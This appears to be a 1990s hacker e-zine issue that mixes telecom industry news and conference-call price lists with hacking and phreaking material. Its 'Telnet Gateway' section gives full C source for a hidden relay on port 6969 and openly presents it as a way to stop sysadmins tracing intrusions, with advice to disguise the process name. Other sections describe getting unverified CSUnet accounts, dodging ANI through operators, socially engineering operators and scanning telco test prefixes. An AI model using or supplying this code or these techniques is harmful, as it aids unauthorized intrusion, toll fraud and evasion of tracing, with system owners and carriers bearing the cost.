ranges from three to four lines of text to 4"x4". It has an additional
four control buttons and some have more soft key options. When coupled
with CLASS, you have a very powerful networking capability that
requires only the same skill level needed to operate your bank's ATM.
Who's going to win in 1993? LECs with CLASS service and equipment
vendors with simple screen terminals (like Northern Telecom's Display
Phone with a projected roll out price of less than $200). Who's going
to lose? LECs without CLASS services and terminal vendors who make
their products too hard to use -- if an eight year old can't use it,
forget it.
9. AIN
Excitement remains for the Advanced Intelligent Network (AIN) concept,
particularly within the computer industry. Briefly, AIN permits new
service development to occur outside the CO's computer, thus speeding
up service delivery (months vs. years). It permits the use of
high-power, low-cost workstations and many custom databases holding
end-user information.
AIN remains a great concept but the RBOCs aren't ready to pull it off.
It's going to take a massive investment, a vision of what business
they want to be in and joint venturing with current competitors (cable
TV, ALTS, cellular companies, etc.)
Who else is positioned for success in AIN? MCI, Sprint and AT&T. All
have focused in on the future of telephony -- that means PCS and
personal phone numbers -- and all possess some unique resources to
pull it off.
MCI and AIN: MCI has focused on an infrastructure and has, relatively
speaking, outstanding operational support systems (OSS), including
billing. How do you think they pulled off the "Friends and Family"
program?! They have also emerged as an innovator structuring an
industry consensus for PCS licensing. (Three national licenses held
by consortia, no one player dominates, no local spectrum license if
you operate a cellular system and demerits in the application process
for major, regulated LEC involvement in the consortium.) Also, they
are pushing early for end-user number portability. This is a viable
PCS/AIN approach.
Sprint and AIN: Sprint has it all in some areas regarding full
services -- long distance, cellular (the Centel merger) and local
(United) service. If they selectively go after AIN in markets where
they have all three forces, it's going to be a good PCS/AIN approach.
AT&T: AT&T has it all and more, too. It is the largest long distance
carrier, telecom manufacturer and has an option to control the largest
cellular carrier, McCaw. I'll bet AT&T is currently modifying its 4
and 5 ESS's to come up with a super AIN/PCS/cellular/cable TV
switching network. If they focus on AIN/PCS they, too will be uniquely
positioned. Also, you can expect to see AT&T protecting its
intelligent network patents in 1993 (I know I said that before.) and
you can't get into AIN without violating their string of patents if
they stand up to tests in the courts. After the advent of 800 number
portability, AT&T will have dropped a lot of monopoly baggage, so stay
tuned. Finally, there's one thing that will be facing all three major
IXCs -- numbers. Once numbering issues are resolved (See
TeleStrategies Insight, December 1992) and PCS spectrum is freed up,
the industry will be ready to integrate PCS technology with AIN.
In summary regarding AIN, 1993 should be spent molding AIN as PCS. If
you don't have that focus, forget it. You will lose.
10. ISDN
Since our first and last conference on ISDN in December, 1986,
TeleStrategies has consistently pegged this service as a loser. So no
annual assessment of winners and losers would be complete without a
discussion of ISDN.
The only thing wrong with our categorizing ISDN as a loser is that CO
switch manufacturers have made a bundle using ISDN hype to sell
switches and software upgrades. Also, exhibit-based trade show
producers have made a bundle from renting floor space to the RBOCs for
their giant booths. (To these vendors, ISDN means I See Dollars Now.)
OK -- for the thousandth time -- why is ISDN a loser? It provides no
near-term customer benefits. Sure, it's elegant and there are market
niches such as digital networking to Europe, DoD encrypted voice, etc.
But there is no "silver bullet" application to justify the cost.
Residential users or small business users can expect to invest
thousands of dollars to start up with ISDN (if they have to start from
scratch, i.e., they don't already own a $10,000 high-end workstation).
And what could you get today with ISDN? Nothing! To these folks, ISDN
means It Still Does Nothing or It Sends Data Nowhere. Regarding big
business, private T-1 networks is where the action is today and
ATM/SONET will be the focus of 1993 planning. Again ISDN makes no
sense in this environment of intra-company data. Regarding
inter-company data applications, the only significant market today is
Internet access, and again (See #1 -- ATM/SONET) users expect "free"
service. So if you want to spend three years or more of your career
waiting for something to happen in ISDN, you've found a winner.
Otherwise, ISDN is a loser.
All of us at TeleStrategies wish you and yours a happy, healthy and
prosperous 1993. Get out there and pick or stay with a winner!
If you have comments about this article, please contact Lynn Stern,
Editor of TeleStrategies Insight, by email (lynn@telestrat.com) or by
phone (703-734-7050).
About TeleStrategies, Inc. and TeleStrategies Insight
Founded in 1980 by Dr. Jerry Lucas, TeleStrategies, Inc. is the
leading producer of telecommunications industry conferences, seminars
and trade shows in the U.S. Every year the company sponsors
approximately 60 programs, which attract decision makers from every
segment of the telecommunications industry.
TeleStrategies Insight is the company's monthly newsletter on
telecommunications industry directions and opportunities. For a FREE
subscription and/or a current conference schedule, send an email to
insight@telestrat.com or call TeleStrategies at (703-734-7050).
--
Peter Decker - Communication Networks, RWTH Aachen (University),
Kopernikusstr. 16, D-5100 Aachen, Germany
e-mail - dec@dfv.rwth-aachen.de ,Telephone: +49-241-807916
(DG1KPD) Telefax: +49-241-84964
Broadband Unveils New System
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
BroadBand Technologies Inc. announced what it says is a
technology and cost breakthrough. It will enable phone companies
to deliver 1,500 interactive video channels on demand at a cost to
them of less than $500 per customer. That will give phone firms an
advantage over the cable industry in the race to build a national
information network, said Broad Band CEO Salim A.L. Bhatia.
AT&T, UNITEL To Offer Service
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
AT&T and Unitel Communications Inc., will begin the controlled
introduction of an advanced virtual network service for
multinational customers in the USA and Canada during the third
quarter. The AT&T Software Defined Network to Canada service will
offer uniform voice and data telecommunications across the border,
as well as within the two countries.
Minn. Majority Leader Resigns
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Minnesota State Rep. Alan Welle has resigned as House majority
leader after his son and nephew left taxpayers with a phone bill
that could reach $85,000. He said he knew they had swiped his
800-number for over a year but wanted to protect them.
Windows To Go With TV
~~~~~~~~~~~~~~~~~~~~~
Windows, the best-selling personal-computer software from
Microsoft, could soon be playing on a TV screens everywhere.
Microsoft, Intel and General Instrument, the nation's largest
supplier of cable television converters, are close to signing a
deal to build a converter box that basically turns TV sets into
personal computers. They should be ready by the end of the year.
System Uses 386 Chip
~~~~~~~~~~~~~~~~~~~~
New cable TV converters will contain Windows and Intel's 386
microprocessor chip. They use windows, which let people operate
computers by manipulating on-screen symbols with a cursor-control
device called a mouse. They will let a cable subscriber point a
wireless mouse at one of several symbols on the TV screen and
select a function such as movies, shop at home and computer games.
MCI's Phone Is Cheaper
~~~~~~~~~~~~~~~~~~~~~~
The MCI Videophone will cost $750, almost $250 less than its
chief rival, the AT&T Videophone 2500. And MCI is offering
consumers who buy its Videophone a 5-percent discount on the
purchase of a second videophone, a savings of $37.50.
Systems Aren't Compatible
~~~~~~~~~~~~~~~~~~~~~~~~~
Both the AT&T and MCI Videophones transmit color pictures that
show limited motion while allowing callers and listeners to
interact simultaneously. The video technology used in the MCI
version is not compatible with AT&T's product, although you can
still carry on a normal telephone conversation using the two
competing brands.
Videophone May Be Hard To Find
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Another drawback with the MCI Videophone is availability. Jim
Folk, vice president of MCI's Videophone division, said the
company has no immediate plans to make its product available in
any retail outlets. "We haven't found an agreement that is
attractive enough," said Folk. "We think our phone is attractively
priced and that people who want a Videophone will make the right
choice."
MA Bell Busted
~~~~~~~~~~~~~~
Recently, Ma Bell (more specifically PacBell) was fined $65 million
for fraudulently charging customers for late bills. Apparently they
would process the sent bill late and would charge the customer late
fees if it happened to be after the billing date (even if the bill
was sent and received before this date). In repayment fines they
must refund and divide the fine amung its fraudulently billed customers.
(--------------------------------------------------------)
Code Thief v5.1
by White Lightning
(--------------------------------------------------------)
Does the file name, THIEF5_1.ZIP, look familiar to you? If it does, don't be
taken by it. It is a feeble hack ATTEMPT of Code Thief v4.0, which was
originally written by Phortune 500. This is claimed to be written by Xanadu
Systems. Bullshit. Any k-rad 3l33t d00d can hex-edit an EXE file. Below, is
the ACTUAL screen you get when you quit the Code Thief v5.1 program. For those
who would like a copy, you can get it off of IRC via HackSrv, the rest of you,
look on your k-rad H/P boardz..
-------------------------------------------------------------------------------
Code Thief DELUXE By Xanadu Systems
Code Thief Revision 5.1
An Official Xanadu Product
Xanadu Systems, 221b, and The Organization:
Kane, Sventek, Chris Knight, Ramius, Cracker Jax, Wiseguy, Dr. Watson,
Tinman, L.A., HAl9000, and all the rest....
Call Xanadu International Services
6 0 8 - 8 3 6 - 1 4 5 8
Type JOSHUA at the # prompt
Get A Reply From Xanadu systems
In Most Cases Within Twenty Four Hours
- Thanks goes out to-
Terminus, 2AF, Peter King, Code Thief 1.x,2.x,3.0 Releases
The True Hackers Who Have Become Rare
-------------------------------------------------------------------------------
Ok, read that carefully. I especially like the line about, "- Thanks goes out
to-" It looks like they couldn't get a nice string to fit in that exact spot
when they hex'ed it. They could have at least spelled everything correctly.
This program does NOTHING new. All it is, is 4.0, with different strings.
READ THE LAST LINE OF THEIR SCREEN. "The True Hackers Who Have Become Rare"
They should speak. It requires a lot of time and patience to create a program
like Code Thief, and they go in, hex it, and have "Their" program within 15
minutes. Ha.
My messages to Xanadu Systems Hex-Editors:
- First of all learn how to spell. Next, learn proper English. Third, learn
- how to fucking program your own code. Show me something that YOU create,
- and we'll see how good you guys are.
(--------------------------------------------------------)
Audioconferencing Services
by Arkimage/Chaos
(--------------------------------------------------------)
Key:
M = Meet-Me available.
O = Operator intervention on meet-me.
G = Audio-graphics bridging.
T = Tape of conference available.
C = Call-out capability.
Supplier/Product/Price M O G T C Special Features/Reservation Number
------------------------|-|-|-|-|-|---------------------------------------------
American Tele-
Conferencing Svcs. Ltd.
Teleconferencing Srvc. X X X X X Variety of conference call service levels to
$10 to $20/hour/port fit clients' needs and budget. Custom srvc
(Voice & Data) for press conferences, investor relation
calls, audio for video conferences.
Speakerphones and microphones available for
rent/purchase. Reservations 800-776-0700.
AT&T
Alliance Teleconference X X X X Dialup audio service on 700-456-1000; dialup
$.25/min./port + toll graphics on 700-456-2000. Reservations and
$35 one-time for meetme Meet-Me operator assistance 800-544-6363.
Operator-Assisted X AT&T now handles most operator-assisted
$9/port + toll conference calls that were formerly from
local BOCs. Reservations 800-225-0233.
Bell Canada/Telecom Can.
TeleForum X X Call-out is handled by customer interaction
Rate levels vary with with the bridge. Service available as meet-
member companies. me, dial-out, or a combination. Operator-
handled calling service also available.
Call 613-781-7942 for more information.
Call Points
Call Points X X X X X Volume discounts are available on rates.
$.32/min./port call-out Uses Ropir Industries bridges. Reservations
$.20/min./port meet-me 800-255-5661.
The Campus Group Company
Audio Conferencing X X X X X Will ship equipment overnight to conference
Service sites; provides on-site support, conference
coordination services.
Call 914-961-1900 for more information.
ConferTech Canada, Inc.
ConferCall X X X X X Services in Toronto, Montreal.
$.38/min./port (V&D) Call 416-622-8200 for more information.
ConferTech International
ConferCall X X X X X Bridges are the ConferTech Tempo MBX and
$.38/min./port (V&D) Allegro; purchase credit option available.
Reservations 800-252-5150 or 303-232-2822.
Call for service locations.
Connex International Inc
Teleconferencing Serv. X X X X X 24-hour service; free speakerphone check;
$20/hour/port/voice round-table discussions at customer request.
$12/hour/port/data Operator online for any assistance needed;
specialized training; free phone consulting;
customer assistance lines. Reservations call
800-243-9430 or 203-797-9060.
Darome Teleconferencing
The Darome Connection X X X X X Operator on-line for any assistance needed;
$21/hour/port/voice specialized training. Nine US locations; two
Data quoted separately international. Call Darome for the nearest
location at 312-380-4109.
DeraCom
DeraCom Conf. Service X X X X X 24 hours/day, 7 days/week service. Houses
$15/hour/port oper asst ALLIANCE bridges. Conferences on demand or
$20/hour/port meet-me by reservation. Conferences billed by
fraction of a minute; no cancellation charge
Billed by number of ports connceted, not
number reserved. Blast up available.
Reservations 800-835-2663 in North America,
609-896-8185 overseas. Also has 800 Meet-me.
Local BOCs
Operator-Assisted conf. Not all BOCs offer this service. See listing
calls under AT&T.
Person-to-person rates
Logical Communications
Teleconferencing Netwk X X X X X Reservations 800-422-0016.
Market Navigation Inc.
Teleconference Network X X X X Price breaks at various conference sizes;
$12/hour/port overrun charge. Uses Ropir Industries AXIS
bridge. Reserv 800-835-6338 or 914-365-0123.
MCI
MCI Forum X X X X $.75 in Canada. Plus a one-time charge of
Base fee $6/location, $35 per 800 number. Volume discounts avail.
$.35/min./loc dial-out Operator assistance is available at any time
$.45/min./loc peraonsl by pressing 0. Reservations 800-475-4700, or
800 meet-me 800-782-1300 (Fax).
Prefered Communications
Customized Conference X X X X X 800 Dial-in includes toll. Access to variety
Calling of bridging techniques to meet customers'
$.42/min./loc dial-out needs; operator monitored on request, no
$.42/min./loc 800 extra fee. On-demand and standing reservs;
dial-in 24-hour service. Specializes in last-minute
$.25/min./loc meet-me conference calls. Telephone consultation
free of charge. Reservations 800-225-5487.
Southern New England Tel
SNET Conference Calling X X X X X Access to 270-port, highly interactive, full
$.65/min./port dial-out duplex bridging service to facilitate
$.40/min./port meet-me transmission of voice and data for business
$.65/min./port 800 meet or residential customers. No set-up fee or
Combinations of above hidden charges. Reservations 800-448-2557.
available.
Sprint Conferencing
Sprint Conference Line X X X X X Full-featured audioconferencing service
$3/caller + $.24/min. offering domestic and international dial-in,
dial-in, $3/caller + dial-out, and combination capability.
$.44/min. dial-out or Conference Fax is also available for
800 dial-in service distributing information to participants.
Reservations 800-366-2663.
Additional Company's by CHA0S
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The following are some additional conferencing company's of which
information has not yet been gathered on :
Compunetix Conference Call 1-800-967-4633
A Business Conference Call 1-800-448-9410
Access Conference Call Service 1-800-777-1826
Conference Call Service 1-800-272-5663
Darome Conference Calling Services 1-800-327-6639
LDB International Corporation 1-800-848-4851
A Noble Inc 1-800-433-5583
ACT 1-800-228-3719
Centerpoint Communications 503-222-4656
Conference Call USA 503-223-0055
Conference Plus International 1-800-522-3377
Protecom 912-471-1177
Actel 912-929-5317
Conference Card [Related to MCI?] 1-800-475-5200
InterCall 1-800-374-2440
Scherers Communications 1-800-356-6161
Schneider Communications 1-800-236-0036
(--------------------------------------------------------)
Telnet Gateway
by Chaos
(--------------------------------------------------------)
Ever worry about some egotistical sysadmin getting pissed off
when you hack his system, and having him trace it back to your
local system? If you are like most hackers, even if you are
careful and telnet through another system first, it is still fairly
easy to trace back through. Using the following program bellow you
can make it a real bitch for anyone to find where you are coming
from, let alone what account. This program, which has only been
tested on Sun OS, will allocate a port and set up a telnet gateway.
Because this program only allocates a socket, in order for someone
to trace it back to you, the sysadmin of the system it is set up on
would have to monitor the socket and see where the connection is
coming from, which is not very likely, the sysadmin already has
plenty to do. This is setup currently to port 6969 and will run in
the background. Be sure to call it something that will not gather
any suspicion from anyone running ps -aux. This will also write to
the file log, the date and time anyone uses the telnet gateway.
Have phun!
Thanks go out to al- for the original source code.
--------------------cut here--------------------
#include <sys/fcntl.h>
#include <stdio.h>
#include <ctype.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
FILE *errfd;
static int serfd;
struct sockaddr_in addr;
char buffer[10][80];
int sockused[10];
int numports = 10;
int numproc=0;
died()
{
numproc--;
wait3(NULL,WNOHANG,NULL);
signal(SIGCLD,died);
return;
}
init_io()
{
signal(SIGCLD,died);
if ((serfd = socket(AF_INET,SOCK_STREAM,0)) <0 )
return(1);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = 6969;
if (bind(serfd,(struct sockaddr *)&addr, sizeof(addr)))
{
fprintf(errfd,"ioinit cannot bind socket\n");
exit(1);
}
if (listen(serfd,5) == -1)
{
fprintf(errfd,"ioinit cannot listen at socket\n");
return(1);
}
return(0);
}
getconnect()
{
int s,length;
struct sockaddr_in address;
while(1)
{
length= sizeof addr;
while ((s= accept(serfd,&address,&length))<0);
wait3(NULL,WNOHANG,NULL);
if (fork() == 0) /* child */
{
system("date >>log");
numproc++;
dup2(s,0);
dup2(s,1);
dup2(s,2);
close(s);
system("exec telnet");
kill(getpid(),SIGKILL);
close(0);
close(1);
close(2);
exit;
} /* end child */
close(s);
wait3(NULL,WNOHANG,NULL);
}
}
main()
{
int i;
char temp[80],*term;
int fd;
for(i=0;i<36;i++) close(i);
errfd=fopen("ERR","w");
if(errfd==NULL) return(-1);
setsid();
if(fork()!=0) return(-1);
init_io();
getconnect();
}
--------------------cut here--------------------
(--------------------------------------------------------)
Sprint Conference Line Info
by Chaos
(--------------------------------------------------------)
It's Simple!
Bring people together from all
over the globe with
Sprint Conference Line
It's easy. You can set up a conference call for up to 200
locations by calling our toll-free reservation line. A Sprint
Reservationalist will answer your questions and take the
information needed to arrange your conference. And you don't even
need to be a Sprint customer. Just dial 1-800-366-CONF(2663) [Gee
how nice of them] to set up your reservation.
It's flexible. You can add participants to the conference, fax
documents, play pre-recorded audio tapes, break into smaller groups
then rejoin the main conference if you wish, and have an audiotape
recording made of the conference. You tell us what you need and
we'll take care of the details.
Four ways to conference
DIAL-IN : Join the conference from any location just by
dialing into a pre-assigned phone number at the meeting time.
DIAL-OUT : At the designated meeting time, a Sprint Conference
Coordinator calls all participants at their location to join
the conference.
SPRINT CONFERENCE LINE 800 : A toll-free 800 number allows
participants to call from any location at the designated time.
[Duh no shit?]
COMBINATION CONFERENCE LINE : Create a mix of the three
conference types.
It's convenient. Arrage impromptu meetings or schedule regular
meetings up to six months in advance. We'll even provide advance
meeting notifications.
It's cost effective. Using Spring Conference Line requires no
start-up investments, no additional equipment or lines, no long-
term conference contracts and no hidden costs. Call 1-800-366-
CONF(2663) [Again? Maybe we should start counting] to find out
just how economical your conference call meeting can be.
It's powerful. Take advantage of one of the most powerful business
tools...letting people communicate directly with each other. It's
a sure way to increase productivity. Whether it's a sales group
sprea across the natuon or a hundred clients around the globe,
Sprint Conference Line can have a positive impact on your business.
Service Rates [Like We Care :) ]
Dial-Out Conferencing $.44/minute/location and
$3.00/location
Dial-In Conferencing $.24/minute/location and
$3.00/location ($30 MAX)
Dial-In 800 Conferencing $.44/minute/location and
$3.00/location ($30 MAX)
Combination Conferencing Each line is rated based on the type
of service provided.
Off-Peak
(7 pm - 6 am CST based on start-time)
Dial-Out Conferencing $.40/minute/location and
$1.00/location
Dial-In Conferencing $.20/minute/location (Per location
fee waived)
Dial-In 800 Conferencing $.40/minute/location (Per location
fee waived)
Combination Conferencing Each line is rated based on type of
service provided.
Standard Features
Music On Hold [Classical Shit] No Charge*
Roll Call No Charge*
Coordinator On Demand No Charge*
Full Time Conference Monitoring [NO!!] No Charge*
Optional Features
Conference Fax $1.00/page/location
Conference Tape Recording $10.00/tape
On-line Tape Playback $10.00/tape
Duplicate Tape Recording $5.00/tape
Advance Notification (Phone or Fax) $3.00/location
Conference Participant List No Charge*
Passsword Security No Charge*
Sub Conferencing No Charge*
(--------------------------------------------------------)
A Business Conference-Call, Inc.
by Chaos
(--------------------------------------------------------)
Service Rates
Meet-Me Conference : Participants dial in to a preassigned number
and out attendant connects them to your conference.
$.25/minute/line plus $3.00 setup/line
800 Meet-Me Conference : Participants dial in to a preassigned 800
number and out attendant connects them to your conference.
$.45/minute/line plus $3.00 setup/line
Dial-Out Conference : Out attendant dials out to participants and
connects them to your conference. $.25/minute/line plus $3.00
setup/line plus long distance charge
* Setup charge applies only to first 6 lines.
Long Distance Charges
$.20 minute/line within the continental U.S.
$.25 minute/line for Alaska and Hawaii
$.65 minute/line for Canada
* Standard rates for International calls
Features
* Automatic Level Control
There's no need to strain to hear quiet voices or be
surprised by loud ones. Automatic level control adjusts
the volume of each speaker to a comfortable level.
* Multi-Speaker Capability
Business teleconferencing that sounds at natural as a
face to face meeting. So conversational you may forget
you are on the phone.
* Immediate Speaker Detection
In natural dialogue speakers must be able to join the
conversation easily. Our new system acknowledges and
includes a new speaker so fast you won't even notice it.
* Network Noise Control
Speech and noise are digitally separated. Background
noise and echo are eliminated. This system reacts only
to the speakers voice. The result is crisp and clear
conversations.
(--------------------------------------------------------)
Access Internet in California
via CSUnet
by Chaos
(--------------------------------------------------------)
So you live in California, or you are simply looking for a
telnet site on internet. CSUnet offers FTP, telnet, and mail
services (along with a bunch of other worthless shit) to anyone who
qualifies under the following :
[1] California State University Profesor
[2] CSU Student
[3] California K-12 Student
If you live in California, you probobaly qualify under this.
The funny thing is, they do not verify this, although they
probobaly would be curious if you told them you lived out of state.
You ask, why would they have your address, well in order to get an
account they must MAIL YOU your account name and password.
Obtaining an account is very easy and only takes a minute. Follow
this process.
SWRL/Long Beach (310) 985-9540
Bakersfield (805) 664-0551
Chico (916) 894-3033
Dominguez Hills (310) 769-1892
Fresno (209) 278-7366
Fullerton (714) 526-0334
Hayward (510) 727-1841
Humboldt (707) 822-6205
Los Angeles (213) 225-6028
Mission Viejo (714) 364-9496
Northridge (818) 701-0478
Pomona (909) 595-3779
Sacramento (916) 737-0955
San Bernadino (909) 880-8833
San Diego (619) PRI-VATE * See Note
San Francisco (415) 333-1077
San Jose (408) 924-1054
San Luis Obispo (805) 549-9721
San Marcos (619) PRI-VATE * See Note
Sonoma (707) 664-8093
Stanislaus (209) 632-7522
Ventura (805) 643-6386
* Due to extensive use these numbers will not be published here.
If you are in dire need of these numbers please let me know and
I will consider it =).
Note : All Dialups have a max baud rate of 9600.
[1] Dial up a local dialup listed above.
CSUNET SWRL Pad/xx, Port: Pxx
fax: p(128,128),w(2,2),d(2400,2400)
com
Welcome to The California State University Network (CSUnet)
SWRL Pxx Port xx Apr 6, 1993 10:30
Please enter CSUnet Access Core (return for default): ctp <Enter>
Connecting to SWRL33...
SunOS UNIX (eis.calstate.edu)
login: ctp
[2] Select apply for an account from the menu.
[3] Fill out application with a real mailing address in California
in order to receive mail with your account and password.
Commentary
Due to extensive hack attempts at CSUnet, they have gone to this
really lame menuing system. It restricts you to it, and no shell.
Which really sucks, so I personally use this as a gateway and then
telnet to another site with a shell, but hey, they are plenty of
dialups and its a mailing address.
(--------------------------------------------------------)
Art of Phreaking I
by Electronic Vampyre
(--------------------------------------------------------)
Preface: With my dealings with PiRaTeS nationally i have found many know
little about phreaking. Furthermore, phreaking seems to be an arcane art few
know and only the reveared elite know. Every PiRaTe knows the basic k-rad
phreak stuff (c/na loops, ANI, COCOTs, etc.) and basic circumvention methods
(boxes, c0dez, etc.) but most lack the hard core info of phreaking. PiRaTiNG
encorperates all aspects of P.H.A.C.C.V. but the "P." seems to be replaced by
a "C." for c0dez. This is intended to inform the uneducated, if you are
already knowledged in the aspects of phreaking then skip this.
Initially i will examine the procedures of dialing (both domestic and
international) and the numbering plans for each.
DOMESTIC DIALING
----------------
In the United States and Canada telephone numbers are based on a ten digit
dialing code (better known as the network address or destination code), the
break down of this code is as follows:
- a 3 digit Number Plan Area (NPA) code (aka Area Code). This tells
the switching equipment where to send the signal.
- a 7 digit telephone number. This number consists of a 3 digit
Central Office (CO) code, to further direct the signal, and a 4 digit station
number.
- all numbers consist of the following format:
NPA Telephone Number
--- ----------------
N*X NXX . XXXX
N = a numerical digit with a value of 2-9
* = a numerical digit with a value of 0 or 1
X = a numerical digit with a single value (0-9)
The NPA breaks into two types of numbers, Area Codes and Special Access Codes
(SAC's). The area code represents an area within one state's boundaries and
all the numbers within it. A list of area codes can be obtained from your
trusty white pages. SAC's are found nationally and can be used from any
telephone within the North American Numbering Plan. SAC's include the
following:
510 - USA TWX services
610 - Canadian TWX services
700 - Specialized Telephone Company uses
710 - USA TWX
800 - Wide Area Telephone Services (WATS)
900 - Dial-it services
910 - USA TWX
- TWX SAC's
The SAC's of TWX (Telix ][) consist of the above numbers, these are owned and
utilized primarily by Western Union. Each number is routed to a normal
telephone number and will always respond with an answerback. The baud rate
for these SAC's is 110.
- 700 SAC
The 700 SAC is used for speciality services. The 700 SAC is similar to that
of the WATS and 900's for it encompasses normal dial-in calls. When generated
the customer decides if the number is to be a toll (pay) call or charged to
the generating customer. Examples of 700 SAC's:
1.700.555.4141 (toll free) - this allows the customer to check
their long distance carrier.
1.700.456.1000 (toll) - AT&T Alliance number to initiate an
immediate non-meet me conference.
Others: AT&T Alliance toll meet me conferneces.
AT&T Easy Reach - This is a new service that allows a
customer to have all calls sent to the
predetermined 700 to their present
location phone number. These calls to
the 700 number can be either free or
toll depending on the type of service
the customer requests. For more info
call 1.800.222.0300.
- 800 SAC
This SAC is the favorite of most PiRaTeS for it allows for toll-free calls.
Many c0dez, dialups, VMB cities, etc. are found within this domain. There are
two type of WATS (800) services.
Inward WATS (INWATS) - The inward dial wide area telecommunications
service are most common and known. These are established in 6 service areas
or BANDS. A level 6 band is available nationally with the exception of the
originating state (usually there is another INWATS number for this area,
better known as INTRASTATE WATS).
Band 5 INWATS encorperates the 48 continental states. This continues until
band 1 is reached; service is only included to the state and neighboring
states. When dialed the INWATS number causes the CO to search for the
companies first available line. It searches sequentially until an available
port is found, if not then it returns a busy signal. Usually a minimum of 2
lines is required for an INWATS number (personal 800 numbers differ). Billing
of an INWATS number is based on time spent on the number.
* NOTE - The ANI when calling an INWATS can be cirvumvented by having your
local TSPS operator dial the number for you.
Outward WATS (OUTWATS) - These are 800's used by large companies for
large, volume discount outward dialing. These are used primarily because
these services are given with bulk-rate discounts. The DO NOT allow inward
calls. Their format consists of:
(800) *XX.XXXX
* - numerical digit of 0 or 1
X - numerical digit of 0-9.
The specific *XX identifies the type of services and calling zones.
- 900 SAC
This SAC allows for dial-it services. It has flat rate standardized costs.
These are primarily used for voting, quiz calls, etc.
Along with the above listed SAC's there are also others known as CO Codes.
555 - Directory Services
844 - Time \_ these are more commonly found in the 976 exchange
936 - Weather / TIME - 1.800.844.3434 WEATHER - 1.800.936.XXXX
950 - Extender Services
958 - Plant Test
959 - Plant Test
976 - Dial-it Services
ANI and Ringback are considered special CO codes and vary from area to area.
950
---
This is a code given to large companies to allow for thier employees call
toll-free from any location and all charges are billed to the company.
Plant Test Numbers
------------------
ANI (Automatic Number Identification) - This tells you the number that you are
calling from. This number is free and can be used from any phone within the
network. This is intended for linemen to have access to the number they are
dealing with when they clip into a line, etc.
Ringback - This allows for you to make the phone you are at ring. This number
is free when dialed within the network. This is intended for linemen to be
able to test a phone's ringing capabilities and other related things. (This
is the number every elementary child uses to make the pay phones ring.)
X11 Codes
---------
011 - International Dialing Prefix
211 - Coin Refund Operator (in 6i9 this number also encorperates ANI)
411 - Local Directory Assistance
611 - Repair Services
811 - Business Offices
911 - Emergency
976
---
This is the dial-it services that allow the destination number to set the
billing rate (via ccd's). This is primarily used by party lines, prono lines, and live
interaction telephoning.
* The following is a list of unpublished and unclaimed 3 digit prefixes
and NPA numbers. The telephone company utilizes these for their own purposes
and testing. Scan away and see what you can find.
Area Numbers
---- -------
200 201-10, 212-19, 227, 240-57
300 320-36, 360-89
400 391-419
500
600 635-55
700 769-81
800 820-44, 846-99
900 946-64
NON U.S. & CANADIAN DIALING
---------------------------
With international dialing the world has been separated into 9 zones. To dial
an international number the format must include:
International Prefix + Country Code + National Number
eg. 011 + XXX + XXX.XXXX
In making a call the prefix of 011 can be swithed with the prefix of 01. The
011 number is used in International Direct Distance Dialing (IDDD) with the
remaining will contact an operator for assistance.
The country code is a number varying in size from 1-3 digits with the world
numbering code as the initial number.
For example:
1 - North America (USA & Canada)
2 - Africa
3 - Europe
4 - Europe
5 - Non US North America
6 - Australia
7 - U.S.S.R.
8 - Asia
9 - Asia
* Note the country code of 87X is reserved for Maritime Mobile
communications.
871 - Atlantic Ship Communications
872 - Pacific Ship Communications
873 - Indian Ocean Ship Communications
All calls originating from the US & Canada are routed through "gateway" cities.
These 4ess's are the International Swithching Centers (ISC's) for country
code 1. Each ISC must convert the US signaling system of MU-255 to the
international system of CCITT.
'Nuff Said 'bout the network.
Let's continue into the world of phone system operators and simple office
structure.
In the NPA system of North America, every switching office is assigned an
official name and class of operation. Depending on the duties performed each
is assigned a numerical value from 1-5. Your local CO is usually a non-toll
facility that performs simple routing tasks and is thus a class 5 end office.
All long distance calls leave your CO and get routed to another non-class 5
toll office. In addition to the other class offices (1-4) there are also
class 4x (called intermediate points) offices and Remote Switching Unit (RSU)
offices (a 4x office with an unattended exchange encorperated with it).
Class NAME ABBREVATION
----- ---- -----------
1 Regional Center RC
2 Sectional Center SC
3 Primary Center PC
4 Toll Center TC
4P Toll Point TP
4X Intermediate Point IP
5 End Office EO
R Remote Switching Unit RSU
When a call is initiated from your house it is sent to your local CO (EO)
where it is sent along to its destination. The CO tries to find the shortest
path from itself and its destination end office. It initially tries
inter-office trunk lines, but if none exist it searches for the next highest
(usually a class 4 toll center of some sort) office. If that trunk line is
busy or cannot be handled it is sent to another office or descends the office
hierarchy (next highest office) until it reaches it destination.
While end offices are in abundance the class 1 regional center (RC) is rare.
These offices provide the foundation of the entire network.
* NOTE - When directing the INWATS number through the TSPS operator the
ANI for your call will produce a number with the prefix of your closest RC
and the remainder of 0's. The network assumes that your call is from within
the system and is circumvented. From 6i9 the ANI when dialed this way would
read 7i4.000.0000.
More information of the network is another phyle.
This is just an overview to get you acquainted with the system.
In everyone's phone experience (especially any phreak or hack's), it is
inevitable that you will speak to an operator at one time or another.
The following is a list of the more common operators and their abilities.
TSPS Operator
-------------
This is the standard "0" operator. Thier job is basically the host and
general information giver of the network. They have the ability to connect
you to most of the other facilities within the network and execute simple (if
need be) for the customers. The TSPS (Traffic Service Position System)
operator has immediate ANI and calll tracing abilities. They know when a call
originates from a non-COCOT (Customer Owned Coin Operated Telephone) pay
phone and can pull info up on the origin telephone owner. Be cautious when
dealing with these people. [i've found the TSPS op. to be quite nice and easy
to acquire info from; every op. i've spoken to using the social engineer
technique of a student doing a report has been VERY helpful.]
INWARD Operator
---------------
This operator assists your local TSPS operator in making calls. They will
never question a call within their service area. Usually a TSPS operator can
direct dial and does not use an inward operator. [On occasion i've
encountered an inward op., they are not too well informed and tend to be
robot-like ("Number please... Thank you").]
Directory Assistance
--------------------
When you dial "information" or any of the name search identification numbers
you speak with a directory assistance operator. They do not have automatic
ANI nor would have access to immediate ANI from another location. At local
levels an operator can obtain a number of a person or place but cannot give
unlilsted numbers. They are basically an automated white pages. They cannot
cross reference a number by address but can cross reference after an inquiry
is made. [These op.'s know nothing and are not easily succeptable to social
engineering.]
CN/A Operators
--------------
